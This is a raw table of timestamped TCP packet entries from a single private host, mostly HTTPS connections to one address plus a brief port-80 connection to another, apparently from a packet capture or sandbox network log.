Nov 21, 2024 07:09:57.934156895 CET	49736	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:09:57.934180975 CET	49736	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:09:57.974088907 CET	443	49736	13.107.246.45	192.168.2.4
Nov 21, 2024 07:09:57.974112988 CET	443	49736	13.107.246.45	192.168.2.4
Nov 21, 2024 07:09:57.974158049 CET	49736	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:09:57.974181890 CET	443	49736	13.107.246.45	192.168.2.4
Nov 21, 2024 07:09:57.974215031 CET	49736	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:09:57.974235058 CET	49736	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:09:57.994822979 CET	443	49736	13.107.246.45	192.168.2.4
Nov 21, 2024 07:09:57.994844913 CET	443	49736	13.107.246.45	192.168.2.4
Nov 21, 2024 07:09:57.994896889 CET	49736	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:09:57.994962931 CET	443	49736	13.107.246.45	192.168.2.4
Nov 21, 2024 07:09:57.994998932 CET	49736	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:09:57.995022058 CET	49736	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:09:58.012675047 CET	443	49736	13.107.246.45	192.168.2.4
Nov 21, 2024 07:09:58.012696981 CET	443	49736	13.107.246.45	192.168.2.4
Nov 21, 2024 07:09:58.012768984 CET	49736	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:09:58.012784958 CET	443	49736	13.107.246.45	192.168.2.4
Nov 21, 2024 07:09:58.012814045 CET	49736	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:09:58.012834072 CET	49736	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:09:58.128734112 CET	443	49736	13.107.246.45	192.168.2.4
Nov 21, 2024 07:09:58.128758907 CET	443	49736	13.107.246.45	192.168.2.4
Nov 21, 2024 07:09:58.128978968 CET	49736	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:09:58.129043102 CET	443	49736	13.107.246.45	192.168.2.4
Nov 21, 2024 07:09:58.129132986 CET	49736	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:09:58.147120953 CET	443	49736	13.107.246.45	192.168.2.4
Nov 21, 2024 07:09:58.147145033 CET	443	49736	13.107.246.45	192.168.2.4
Nov 21, 2024 07:09:58.147228956 CET	49736	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:09:58.147250891 CET	443	49736	13.107.246.45	192.168.2.4
Nov 21, 2024 07:09:58.147283077 CET	49736	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:09:58.147303104 CET	49736	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:09:58.162481070 CET	443	49736	13.107.246.45	192.168.2.4
Nov 21, 2024 07:09:58.162501097 CET	443	49736	13.107.246.45	192.168.2.4
Nov 21, 2024 07:09:58.162554026 CET	49736	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:09:58.162568092 CET	443	49736	13.107.246.45	192.168.2.4
Nov 21, 2024 07:09:58.162596941 CET	49736	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:09:58.162614107 CET	49736	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:09:58.175102949 CET	443	49736	13.107.246.45	192.168.2.4
Nov 21, 2024 07:09:58.175126076 CET	443	49736	13.107.246.45	192.168.2.4
Nov 21, 2024 07:09:58.175201893 CET	49736	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:09:58.175216913 CET	443	49736	13.107.246.45	192.168.2.4
Nov 21, 2024 07:09:58.175266981 CET	49736	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:09:58.185430050 CET	443	49736	13.107.246.45	192.168.2.4
Nov 21, 2024 07:09:58.185488939 CET	443	49736	13.107.246.45	192.168.2.4
Nov 21, 2024 07:09:58.185547113 CET	49736	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:09:58.209115982 CET	49736	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:09:58.209150076 CET	443	49736	13.107.246.45	192.168.2.4
Nov 21, 2024 07:09:58.579744101 CET	49738	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:09:58.579855919 CET	443	49738	13.107.246.45	192.168.2.4
Nov 21, 2024 07:09:58.579963923 CET	49738	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:09:58.580662966 CET	49739	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:09:58.580703020 CET	443	49739	13.107.246.45	192.168.2.4
Nov 21, 2024 07:09:58.580756903 CET	49739	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:09:58.582823038 CET	49740	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:09:58.582868099 CET	443	49740	13.107.246.45	192.168.2.4
Nov 21, 2024 07:09:58.582921028 CET	49740	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:09:58.583082914 CET	49738	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:09:58.583127975 CET	443	49738	13.107.246.45	192.168.2.4
Nov 21, 2024 07:09:58.583184004 CET	49740	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:09:58.583201885 CET	443	49740	13.107.246.45	192.168.2.4
Nov 21, 2024 07:09:58.583292961 CET	49739	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:09:58.583307981 CET	443	49739	13.107.246.45	192.168.2.4
Nov 21, 2024 07:09:58.584856987 CET	49741	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:09:58.584939003 CET	443	49741	13.107.246.45	192.168.2.4
Nov 21, 2024 07:09:58.585010052 CET	49741	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:09:58.585740089 CET	49741	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:09:58.585772038 CET	443	49741	13.107.246.45	192.168.2.4
Nov 21, 2024 07:09:58.586978912 CET	49742	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:09:58.587002039 CET	443	49742	13.107.246.45	192.168.2.4
Nov 21, 2024 07:09:58.587054014 CET	49742	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:09:58.587367058 CET	49742	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:09:58.587383986 CET	443	49742	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:00.363172054 CET	443	49740	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:00.363827944 CET	49740	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:00.363845110 CET	443	49740	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:00.364295006 CET	49740	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:00.364300966 CET	443	49740	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:00.364629030 CET	443	49738	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:00.364903927 CET	49738	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:00.364953041 CET	443	49738	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:00.365196943 CET	49738	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:00.365210056 CET	443	49738	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:00.367674112 CET	443	49739	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:00.368045092 CET	49739	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:00.368087053 CET	443	49739	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:00.368654966 CET	49739	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:00.368668079 CET	443	49739	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:00.376508951 CET	443	49742	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:00.376952887 CET	49742	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:00.376962900 CET	443	49742	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:00.377393961 CET	49742	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:00.377398968 CET	443	49742	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:00.433360100 CET	443	49741	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:00.433953047 CET	49741	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:00.434036970 CET	443	49741	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:00.434298038 CET	49741	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:00.434312105 CET	443	49741	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:00.808010101 CET	443	49740	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:00.810410976 CET	443	49738	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:00.810472965 CET	443	49738	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:00.810477972 CET	443	49740	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:00.810585022 CET	49740	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:00.813132048 CET	49738	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:00.815941095 CET	443	49739	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:00.816019058 CET	443	49739	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:00.816098928 CET	49739	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:00.816150904 CET	443	49739	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:00.816210985 CET	49739	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:00.822112083 CET	443	49739	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:00.822218895 CET	443	49739	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:00.822282076 CET	49739	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:00.824258089 CET	443	49742	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:00.824467897 CET	443	49742	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:00.824568033 CET	49742	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:00.824594975 CET	443	49742	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:00.824634075 CET	443	49742	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:00.824656963 CET	49742	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:00.824683905 CET	49742	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:00.836436987 CET	49738	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:00.836482048 CET	443	49738	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:00.836513996 CET	49738	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:00.836529970 CET	443	49738	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:00.837671995 CET	49739	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:00.837696075 CET	443	49739	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:00.837711096 CET	49739	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:00.837717056 CET	443	49739	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:00.838557005 CET	49742	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:00.838588953 CET	443	49742	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:00.838615894 CET	49742	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:00.838629961 CET	443	49742	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:00.839256048 CET	49740	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:00.839267969 CET	443	49740	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:00.839298964 CET	49740	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:00.839308977 CET	443	49740	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:00.841767073 CET	49743	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:00.841876030 CET	443	49743	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:00.841948986 CET	49743	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:00.844788074 CET	49744	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:00.844824076 CET	443	49744	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:00.844877958 CET	49744	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:00.846029997 CET	49745	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:00.846075058 CET	443	49745	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:00.846147060 CET	49745	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:00.846172094 CET	49743	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:00.846189022 CET	443	49743	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:00.846270084 CET	49745	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:00.846298933 CET	443	49745	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:00.846322060 CET	49744	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:00.846340895 CET	443	49744	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:00.848823071 CET	49746	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:00.848840952 CET	443	49746	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:00.848906994 CET	49746	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:00.849035978 CET	49746	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:00.849051952 CET	443	49746	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:00.885927916 CET	443	49741	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:00.885986090 CET	443	49741	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:00.886080027 CET	49741	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:00.886107922 CET	443	49741	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:00.889911890 CET	443	49741	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:00.889983892 CET	49741	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:00.901267052 CET	49741	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:00.901288033 CET	443	49741	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:00.901336908 CET	49741	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:00.901350021 CET	443	49741	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:00.904001951 CET	49747	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:00.904059887 CET	443	49747	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:00.904160023 CET	49747	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:00.904280901 CET	49747	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:00.904305935 CET	443	49747	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:02.627686977 CET	443	49744	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:02.631382942 CET	443	49745	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:02.631628036 CET	49744	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:02.631664991 CET	443	49744	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:02.631918907 CET	49745	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:02.631954908 CET	443	49745	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:02.632108927 CET	49744	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:02.632124901 CET	443	49744	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:02.632375956 CET	49745	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:02.632389069 CET	443	49745	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:02.643871069 CET	443	49746	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:02.644224882 CET	49746	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:02.644243956 CET	443	49746	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:02.644587040 CET	49746	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:02.644602060 CET	443	49746	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:02.646190882 CET	443	49743	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:02.646488905 CET	49743	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:02.646543980 CET	443	49743	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:02.646819115 CET	49743	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:02.646833897 CET	443	49743	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:02.709511995 CET	443	49747	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:02.709932089 CET	49747	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:02.709973097 CET	443	49747	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:02.710319996 CET	49747	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:02.710334063 CET	443	49747	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:03.073208094 CET	443	49744	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:03.073364973 CET	443	49744	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:03.073523045 CET	49744	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:03.073754072 CET	49744	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:03.073802948 CET	443	49744	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:03.073831081 CET	49744	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:03.073847055 CET	443	49744	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:03.076781988 CET	49748	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:03.076877117 CET	443	49748	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:03.077171087 CET	49748	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:03.077171087 CET	49748	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:03.077301025 CET	443	49748	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:03.084459066 CET	443	49745	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:03.084528923 CET	443	49745	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:03.084606886 CET	49745	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:03.084705114 CET	49745	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:03.084705114 CET	49745	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:03.084749937 CET	443	49745	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:03.084777117 CET	443	49745	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:03.086608887 CET	49749	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:03.086680889 CET	443	49749	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:03.086767912 CET	49749	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:03.086787939 CET	443	49746	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:03.086896896 CET	49749	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:03.086926937 CET	443	49749	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:03.086947918 CET	443	49746	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:03.087009907 CET	49746	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:03.087043047 CET	49746	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:03.087043047 CET	49746	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:03.087059975 CET	443	49746	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:03.087079048 CET	443	49746	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:03.088630915 CET	49750	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:03.088715076 CET	443	49750	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:03.088805914 CET	49750	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:03.088907957 CET	49750	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:03.088941097 CET	443	49750	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:03.090051889 CET	443	49743	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:03.090106010 CET	443	49743	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:03.090203047 CET	49743	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:03.090549946 CET	49743	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:03.090549946 CET	49743	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:03.090572119 CET	443	49743	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:03.090594053 CET	443	49743	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:03.092122078 CET	49751	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:03.092143059 CET	443	49751	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:03.092264891 CET	49751	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:03.092379093 CET	49751	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:03.092401981 CET	443	49751	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:03.152595043 CET	443	49747	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:03.152749062 CET	443	49747	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:03.152929068 CET	49747	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:03.153023958 CET	49747	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:03.153023958 CET	49747	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:03.153067112 CET	443	49747	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:03.153096914 CET	443	49747	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:03.162214994 CET	49752	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:03.162255049 CET	443	49752	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:03.162327051 CET	49752	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:03.162472963 CET	49752	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:03.162493944 CET	443	49752	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:04.578902960 CET	49753	80	192.168.2.4	185.215.113.43
Nov 21, 2024 07:10:04.699754953 CET	80	49753	185.215.113.43	192.168.2.4
Nov 21, 2024 07:10:04.699898958 CET	49753	80	192.168.2.4	185.215.113.43
Nov 21, 2024 07:10:04.700071096 CET	49753	80	192.168.2.4	185.215.113.43
Nov 21, 2024 07:10:04.820301056 CET	80	49753	185.215.113.43	192.168.2.4
Nov 21, 2024 07:10:04.867088079 CET	443	49749	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:04.871756077 CET	49749	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:04.871812105 CET	443	49749	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:04.872083902 CET	49749	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:04.872098923 CET	443	49749	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:04.882853985 CET	443	49752	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:04.883609056 CET	49752	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:04.883630991 CET	443	49752	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:04.884017944 CET	49752	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:04.884027004 CET	443	49752	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:04.892771006 CET	443	49750	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:04.893186092 CET	49750	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:04.893249035 CET	443	49750	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:04.893503904 CET	49750	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:04.893518925 CET	443	49750	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:04.923573017 CET	443	49748	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:04.923928976 CET	49748	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:04.923957109 CET	443	49748	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:04.924362898 CET	49748	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:04.924372911 CET	443	49748	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:04.957926035 CET	443	49751	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:04.958233118 CET	49751	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:04.958285093 CET	443	49751	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:04.958609104 CET	49751	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:04.958620071 CET	443	49751	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:05.311108112 CET	443	49749	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:05.311167002 CET	443	49749	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:05.311280012 CET	49749	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:05.311456919 CET	49749	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:05.311480045 CET	443	49749	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:05.311492920 CET	49749	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:05.311500072 CET	443	49749	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:05.313990116 CET	49754	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:05.314030886 CET	443	49754	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:05.314095974 CET	49754	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:05.314275980 CET	49754	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:05.314291954 CET	443	49754	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:05.315558910 CET	443	49752	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:05.315637112 CET	443	49752	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:05.315687895 CET	49752	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:05.315794945 CET	49752	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:05.315807104 CET	443	49752	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:05.315819025 CET	49752	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:05.315824032 CET	443	49752	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:05.317617893 CET	49755	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:05.317652941 CET	443	49755	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:05.319158077 CET	49755	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:05.319277048 CET	49755	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:05.319288015 CET	443	49755	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:05.339102983 CET	443	49750	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:05.339160919 CET	443	49750	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:05.339358091 CET	49750	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:05.339420080 CET	49750	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:05.339420080 CET	49750	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:05.339472055 CET	443	49750	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:05.339497089 CET	443	49750	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:05.341403961 CET	49756	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:05.341434956 CET	443	49756	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:05.343158960 CET	49756	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:05.343260050 CET	49756	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:05.343272924 CET	443	49756	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:05.380130053 CET	443	49748	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:05.380274057 CET	443	49748	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:05.380456924 CET	49748	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:05.380538940 CET	49748	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:05.380538940 CET	49748	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:05.380580902 CET	443	49748	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:05.380609035 CET	443	49748	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:05.382214069 CET	49757	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:05.382298946 CET	443	49757	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:05.382383108 CET	49757	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:05.382482052 CET	49757	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:05.382514954 CET	443	49757	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:05.411374092 CET	443	49751	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:05.411427021 CET	443	49751	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:05.411518097 CET	49751	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:05.411740065 CET	49751	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:05.411740065 CET	49751	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:05.411767006 CET	443	49751	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:05.411794901 CET	443	49751	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:05.413296938 CET	49758	443	192.168.2.4	13.107.246.45
